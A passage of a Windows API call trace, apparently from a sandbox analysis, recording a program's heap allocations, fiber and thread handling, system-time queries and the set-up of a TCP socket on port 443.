lpMem=0x19638a0 | out: hHeap=0x1930000) returned 1 [0284.830] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x34) returned 0x19638a0 [0284.831] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19638a0 | out: hHeap=0x1930000) returned 1 [0284.831] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x30) returned 0x19aa428 [0284.831] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x30) returned 0x19aa460 [0284.831] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19aa428 | out: hHeap=0x1930000) returned 1 [0284.831] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x19699f0 [0284.831] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1969970 [0284.831] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1969a00 [0284.831] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969970 | out: hHeap=0x1930000) returned 1 [0284.831] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19699f0 | out: hHeap=0x1930000) returned 1 [0284.831] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19699f0 [0284.831] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19a90b0 [0284.831] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x30) returned 0x19aa428 [0284.831] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x50) returned 0x1967280 [0284.832] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1962380 | out: hHeap=0x1930000) returned 1 [0284.832] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19699f0 | out: hHeap=0x1930000) returned 1 [0284.832] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x19699f0 [0284.832] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a00 | out: hHeap=0x1930000) returned 1 [0284.832] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19aa460 | out: hHeap=0x1930000) returned 1 [0284.833] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x197f8e0 | out: hHeap=0x1930000) returned 1 [0284.833] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab090 | out: hHeap=0x1930000) returned 1 [0284.833] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x198c5a8 | out: hHeap=0x1930000) returned 1 [0284.833] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab390 | out: hHeap=0x1930000) returned 1 [0284.833] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19aa3f0 | out: hHeap=0x1930000) returned 1 [0284.833] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab318 | out: hHeap=0x1930000) returned 1 [0284.834] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x198c5f8 | out: hHeap=0x1930000) returned 1 [0284.834] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab3c0 | out: hHeap=0x1930000) returned 1 [0284.834] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1972050 | out: hHeap=0x1930000) returned 1 [0284.834] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab3d8 | out: hHeap=0x1930000) returned 1 [0284.834] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1975ea0 | out: hHeap=0x1930000) returned 1 [0284.834] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab3f0 | out: hHeap=0x1930000) returned 1 [0284.834] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19855b8 | out: hHeap=0x1930000) returned 1 [0284.834] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab408 | out: hHeap=0x1930000) returned 1 [0284.835] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196c2e0 | out: hHeap=0x1930000) returned 1 [0284.835] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab420 | out: hHeap=0x1930000) returned 1 [0284.835] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1976020 | out: hHeap=0x1930000) returned 1 [0284.835] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab438 | out: hHeap=0x1930000) returned 1 [0284.836] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x198c648 | out: hHeap=0x1930000) returned 1 [0284.836] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab450 | out: hHeap=0x1930000) returned 1 [0284.836] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1963820 | out: hHeap=0x1930000) returned 1 [0284.836] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab468 | out: hHeap=0x1930000) returned 1 [0284.836] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ae518 | out: hHeap=0x1930000) returned 1 [0284.836] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969238 | out: hHeap=0x1930000) returned 1 [0284.836] UnlockFileEx (in: hFile=0x324, dwReserved=0x0, nNumberOfBytesToUnlockLow=0xffffffff, nNumberOfBytesToUnlockHigh=0xffffffff, lpOverlapped=0x294b208 | out: lpOverlapped=0x294b208) returned 1 [0284.837] CloseHandle (hObject=0x324) returned 1 [0284.837] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x198c3c8 | out: hHeap=0x1930000) returned 1 [0284.837] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969a00 [0284.838] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a00 | out: hHeap=0x1930000) returned 1 [0284.838] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1969a00 [0284.838] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1971870 | out: hHeap=0x1930000) returned 1 [0284.838] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1985838 | out: hHeap=0x1930000) returned 1 [0284.838] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196be28 | out: hHeap=0x1930000) returned 1 [0284.838] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a00 | out: hHeap=0x1930000) returned 1 [0284.838] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969a00 [0284.838] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a00 | out: hHeap=0x1930000) returned 1 [0284.838] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1969a00 [0284.838] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19719a0 | out: hHeap=0x1930000) returned 1 [0284.838] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196f480 | out: hHeap=0x1930000) returned 1 [0284.838] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1962d40 | out: hHeap=0x1930000) returned 1 [0284.839] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a00 | out: hHeap=0x1930000) returned 1 [0284.839] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969a00 [0284.839] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a00 | out: hHeap=0x1930000) returned 1 [0284.839] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1969a00 [0284.839] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196eea0 | out: hHeap=0x1930000) returned 1 [0284.839] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196f4b8 | out: hHeap=0x1930000) returned 1 [0284.839] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1962c60 | out: hHeap=0x1930000) returned 1 [0284.839] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a00 | out: hHeap=0x1930000) returned 1 [0284.839] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969a00 [0284.839] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a00 | out: hHeap=0x1930000) returned 1 [0284.839] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1969a00 [0284.839] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196ee90 | out: hHeap=0x1930000) returned 1 [0284.840] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1970978 | out: hHeap=0x1930000) returned 1 [0284.840] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1962c80 | out: hHeap=0x1930000) returned 1 [0284.840] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a00 | out: hHeap=0x1930000) returned 1 [0284.840] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969a00 [0284.840] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a00 | out: hHeap=0x1930000) returned 1 [0284.840] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x52) returned 0x1976020 [0284.840] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1975f00 | out: hHeap=0x1930000) returned 1 [0284.840] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1972fe8 | out: hHeap=0x1930000) returned 1 [0284.840] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196be08 | out: hHeap=0x1930000) returned 1 [0284.841] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1976020 | out: hHeap=0x1930000) returned 1 [0284.841] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969a00 [0284.841] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a00 | out: hHeap=0x1930000) returned 1 [0284.841] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1969a00 [0284.841] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196ee80 | out: hHeap=0x1930000) returned 1 [0284.841] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1971fa0 | out: hHeap=0x1930000) returned 1 [0284.842] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1962ca0 | out: hHeap=0x1930000) returned 1 [0284.842] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a00 | out: hHeap=0x1930000) returned 1 [0284.842] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969a00 [0284.842] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a00 | out: hHeap=0x1930000) returned 1 [0284.842] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1969a00 [0284.842] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1971970 | out: hHeap=0x1930000) returned 1 [0284.842] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196af70 | out: hHeap=0x1930000) returned 1 [0284.842] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1962ce0 | out: hHeap=0x1930000) returned 1 [0284.842] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a00 | out: hHeap=0x1930000) returned 1 [0284.842] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969a00 [0284.842] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a00 | out: hHeap=0x1930000) returned 1 [0284.842] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1969a00 [0284.843] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1971990 | out: hHeap=0x1930000) returned 1 [0284.843] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1972d60 | out: hHeap=0x1930000) returned 1 [0284.843] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1962d00 | out: hHeap=0x1930000) returned 1 [0284.843] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a00 | out: hHeap=0x1930000) returned 1 [0284.843] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969a00 [0284.843] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a00 | out: hHeap=0x1930000) returned 1 [0284.843] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xe) returned 0x19ab468 [0284.843] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1961090 | out: hHeap=0x1930000) returned 1 [0284.843] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1990558 | out: hHeap=0x1930000) returned 1 [0284.843] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1962d20 | out: hHeap=0x1930000) returned 1 [0284.844] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab468 | out: hHeap=0x1930000) returned 1 [0284.844] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969a00 [0284.844] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a00 | out: hHeap=0x1930000) returned 1 [0284.844] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x1969a00 [0284.844] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196eec0 | out: hHeap=0x1930000) returned 1 [0284.844] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1970a98 | out: hHeap=0x1930000) returned 1 [0284.844] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196bb08 | out: hHeap=0x1930000) returned 1 [0284.844] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a00 | out: hHeap=0x1930000) returned 1 [0284.844] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969a00 [0284.844] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a00 | out: hHeap=0x1930000) returned 1 [0284.844] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1969a00 [0284.844] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1971980 | out: hHeap=0x1930000) returned 1 [0284.845] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19725d0 | out: hHeap=0x1930000) returned 1 [0284.845] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1962cc0 | out: hHeap=0x1930000) returned 1 [0284.845] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a00 | out: hHeap=0x1930000) returned 1 [0284.845] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1971ff8 | out: hHeap=0x1930000) returned 1 [0284.845] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a8f50 | out: hHeap=0x1930000) returned 1 [0284.845] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a8dd0 | out: hHeap=0x1930000) returned 1 [0284.846] SwitchToFiber (lpFiber=0x16f6890) [0284.846] QueryPerformanceCounter (in: lpPerformanceCount=0x25efb20 | out: lpPerformanceCount=0x25efb20*=2565279960404) returned 1 [0284.846] WaitForMultipleObjects (nCount=0x6, lpHandles=0x131ca64*=0x1b8, bWaitAll=0, dwMilliseconds=0x2200) returned 0x2 [0284.846] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x19ab468 [0284.846] QueryPerformanceCounter (in: lpPerformanceCount=0x25efb18 | out: lpPerformanceCount=0x25efb18*=2565279996240) returned 1 [0284.846] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x1969a00 [0284.846] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab468 | out: hHeap=0x1930000) returned 1 [0284.846] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a00 | out: hHeap=0x1930000) returned 1 [0284.846] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19ab468 [0284.847] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab0c0 | out: hHeap=0x1930000) returned 1 [0284.847] QueryPerformanceFrequency (in: lpFrequency=0x25efb34 | out: lpFrequency=0x25efb34*=100000000) returned 1 [0284.847] QueryPerformanceCounter (in: lpPerformanceCount=0x25efb34 | out: lpPerformanceCount=0x25efb34*=2565280062558) returned 1 [0284.847] SwitchToFiber (lpFiber=0x16fbd50) [0284.847] GetTickCount () returned 0xbcf9 [0284.847] GetLastError () returned 0xb7 [0284.847] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76a70000 [0284.848] GetCurrentThreadId () returned 0x5d8 [0284.848] SetLastError (dwErrCode=0xb7) [0284.848] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x17) returned 0x19a8dd0 [0284.848] GetLastError () returned 0x0 [0284.848] GetSystemTime (in: lpSystemTime=0x350fcdc | out: lpSystemTime=0x350fcdc*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x32, wSecond=0x2e, wMilliseconds=0x71)) [0284.848] GetCurrentThreadId () returned 0x5d8 [0284.848] GetCurrentProcessId () returned 0x51c [0284.848] GetLastError () returned 0x0 [0284.849] GetSystemTime (in: lpSystemTime=0x350fba4 | out: lpSystemTime=0x350fba4*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x32, wSecond=0x2e, wMilliseconds=0x71)) [0284.849] GetCurrentThreadId () returned 0x5d8 [0284.849] GetCurrentProcessId () returned 0x51c [0284.849] GetLastError () returned 0x0 [0284.849] GetSystemTime (in: lpSystemTime=0x350fb68 | out: lpSystemTime=0x350fb68*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x32, wSecond=0x2e, wMilliseconds=0x71)) [0284.849] GetCurrentThreadId () returned 0x5d8 [0284.849] GetCurrentProcessId () returned 0x51c [0284.849] GetLastError () returned 0x0 [0284.849] GetSystemTime (in: lpSystemTime=0x350fbf0 | out: lpSystemTime=0x350fbf0*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x32, wSecond=0x2e, wMilliseconds=0x71)) [0284.849] GetCurrentThreadId () returned 0x5d8 [0284.849] GetCurrentProcessId () returned 0x51c [0284.849] GetLastError () returned 0x0 [0284.850] GetSystemTime (in: lpSystemTime=0x350fbf0 | out: lpSystemTime=0x350fbf0*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x32, wSecond=0x2e, wMilliseconds=0x71)) [0284.850] GetCurrentThreadId () returned 0x5d8 [0284.850] GetCurrentProcessId () returned 0x51c [0284.850] GetLastError () returned 0x0 [0284.855] GetSystemTime (in: lpSystemTime=0x350fbf0 | out: lpSystemTime=0x350fbf0*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x32, wSecond=0x2e, wMilliseconds=0x71)) [0284.855] GetCurrentThreadId () returned 0x5d8 [0284.855] GetCurrentProcessId () returned 0x51c [0284.855] GetLastError () returned 0x0 [0284.855] GetSystemTime (in: lpSystemTime=0x350fbf0 | out: lpSystemTime=0x350fbf0*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x32, wSecond=0x2e, wMilliseconds=0x71)) [0284.855] GetCurrentThreadId () returned 0x5d8 [0284.855] GetCurrentProcessId () returned 0x51c [0284.855] GetLastError () returned 0x0 [0284.856] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x64ee60, lpParameter=0x350fa04, dwCreationFlags=0x4, lpThreadId=0x350fa18 | out: lpThreadId=0x350fa18*=0x5f8) returned 0x320 [0284.857] ResumeThread (hThread=0x320) returned 0x1 [0284.857] WaitForSingleObject (hHandle=0x324, dwMilliseconds=0xffffffff) returned 0x0 [0284.858] CloseHandle (hObject=0x324) returned 1 [0284.858] SwitchToFiber (lpFiber=0x16f6890) [0284.858] SwitchToFiber (lpFiber=0x16f70a0) [0284.858] GetLastError () returned 0x0 [0284.858] SwitchToFiber (lpFiber=0x16f6890) [0284.858] QueryPerformanceCounter (in: lpPerformanceCount=0x25efb20 | out: lpPerformanceCount=0x25efb20*=2565281206884) returned 1 [0284.858] WaitForMultipleObjects (nCount=0x6, lpHandles=0x131ca64*=0x1b8, bWaitAll=0, dwMilliseconds=0x21f4) returned 0x3 [0284.858] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x19ab0c0 [0284.858] QueryPerformanceCounter (in: lpPerformanceCount=0x25efb18 | out: lpPerformanceCount=0x25efb18*=2565281241781) returned 1 [0284.859] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x1964e00 [0284.859] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab0c0 | out: hHeap=0x1930000) returned 1 [0284.859] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1964e00 | out: hHeap=0x1930000) returned 1 [0284.859] WaitForSingleObject (hHandle=0x200, dwMilliseconds=0xffffffff) returned 0x0 [0284.859] ReleaseMutex (hMutex=0x200) returned 1 [0284.859] QueryPerformanceFrequency (in: lpFrequency=0x25efb34 | out: lpFrequency=0x25efb34*=100000000) returned 1 [0284.859] QueryPerformanceCounter (in: lpPerformanceCount=0x25efb34 | out: lpPerformanceCount=0x25efb34*=2565281310777) returned 1 [0284.859] QueryPerformanceCounter (in: lpPerformanceCount=0x25efb20 | out: lpPerformanceCount=0x25efb20*=2565281321367) returned 1 [0284.859] WaitForMultipleObjects (nCount=0x6, lpHandles=0x131ca64*=0x1b8, bWaitAll=0, dwMilliseconds=0x21f2) returned 0x2 [0285.101] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x19ab438 [0285.101] QueryPerformanceCounter (in: lpPerformanceCount=0x25efb18 | out: lpPerformanceCount=0x25efb18*=2566174418978) returned 1 [0285.101] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19a92b0 [0285.101] GetCurrentThreadId () returned 0x5d8 [0285.101] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a8f30 | out: hHeap=0x1930000) returned 1 [0285.102] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x1969a00 [0285.102] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab438 | out: hHeap=0x1930000) returned 1 [0285.102] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a00 | out: hHeap=0x1930000) returned 1 [0285.102] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19ab438 [0285.102] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab420 | out: hHeap=0x1930000) returned 1 [0285.103] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1971ff8 | out: hHeap=0x1930000) returned 1 [0285.103] GetCurrentThreadId () returned 0x5d8 [0285.103] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab438 | out: hHeap=0x1930000) returned 1 [0285.103] QueryPerformanceFrequency (in: lpFrequency=0x25efb34 | out: lpFrequency=0x25efb34*=100000000) returned 1 [0285.103] QueryPerformanceCounter (in: lpPerformanceCount=0x25efb34 | out: lpPerformanceCount=0x25efb34*=2566174590138) returned 1 [0285.103] SwitchToFiber (lpFiber=0x16f93b8) [0285.103] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19a8f30 [0285.103] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a92b0 | out: hHeap=0x1930000) returned 1 [0285.103] GetLastError () returned 0x0 [0285.104] GetSystemTime (in: lpSystemTime=0x327fa04 | out: lpSystemTime=0x327fa04*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x32, wSecond=0x2e, wMilliseconds=0x16b)) [0285.104] GetCurrentThreadId () returned 0x5d8 [0285.104] GetCurrentProcessId () returned 0x51c [0285.104] GetLastError () returned 0x0 [0285.104] GetSystemTime (in: lpSystemTime=0x327fb84 | out: lpSystemTime=0x327fb84*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x32, wSecond=0x2e, wMilliseconds=0x16b)) [0285.104] GetCurrentThreadId () returned 0x5d8 [0285.104] GetCurrentProcessId () returned 0x51c [0285.104] GetLastError () returned 0x0 [0285.104] SwitchToFiber (lpFiber=0x16f6890) [0285.104] SwitchToFiber (lpFiber=0x16fbd50) [0285.105] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19aa460 | out: hHeap=0x1930000) returned 1 [0285.105] GetCurrentThreadId () returned 0x5d8 [0285.105] GetExitCodeThread (in: hThread=0x320, lpExitCode=0x350f9c0 | out: lpExitCode=0x350f9c0) returned 1 [0285.105] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0xffffffff) returned 0x0 [0285.154] CloseHandle (hObject=0x320) returned 1 [0285.154] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19aa498 | out: hHeap=0x1930000) returned 1 [0285.154] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab450 | out: hHeap=0x1930000) returned 1 [0285.154] GetLastError () returned 0x0 [0285.155] GetSystemTime (in: lpSystemTime=0x350faf0 | out: lpSystemTime=0x350faf0*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x32, wSecond=0x2e, wMilliseconds=0x1a9)) [0285.155] GetCurrentThreadId () returned 0x5d8 [0285.155] GetCurrentProcessId () returned 0x51c [0285.155] GetLastError () returned 0x0 [0285.155] htons (hostshort=0x1bb) returned 0xbb01 [0285.155] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x320 [0285.155] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19a92b0 [0285.155] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x32c [0285.155] GetCurrentThreadId () returned 0x5d8 [0285.156] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x38) returned 0x1990558 [0285.156] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969a00 [0285.156] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14b) returned 0x19a94f8 [0285.156] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x19aa498 [0285.156] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x19aa460 [0285.156] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x30) returned 0x19aa3b8 [0285.156] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x24) returned 0x1962410 [0285.156] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969970 [0285.156] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196f640 | out: hHeap=0x1930000) returned 1 [0285.156] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196f6e8 | out: hHeap=0x1930000) returned 1 [0285.156] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196f6b0 | out: hHeap=0x1930000) returned 1 [0285.156] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1961e40 | out: hHeap=0x1930000) returned 1 [0285.157] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969910 | out: hHeap=0x1930000) returned 1 [0285.157] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1977278 | out: hHeap=0x1930000) returned 1 [0285.157] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969910 [0285.157] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a00 | out: hHeap=0x1930000) returned 1 [0285.157] WSAEventSelect (s=0x320, hEventObject=0x32c, lNetworkEvents=59) returned 0 [0285.157] setsockopt (s=0x320, level=6, optname=1, optval="\x01", optlen=4) returned 0 [0285.157] setsockopt (s=0x320, level=65535, optname=4, optval="\x01", optlen=4) returned 0 [0285.157] WSAIoctl (in: s=0x320, dwIoControlCode=0x98000004, lpvInBuffer=0x350fab8, 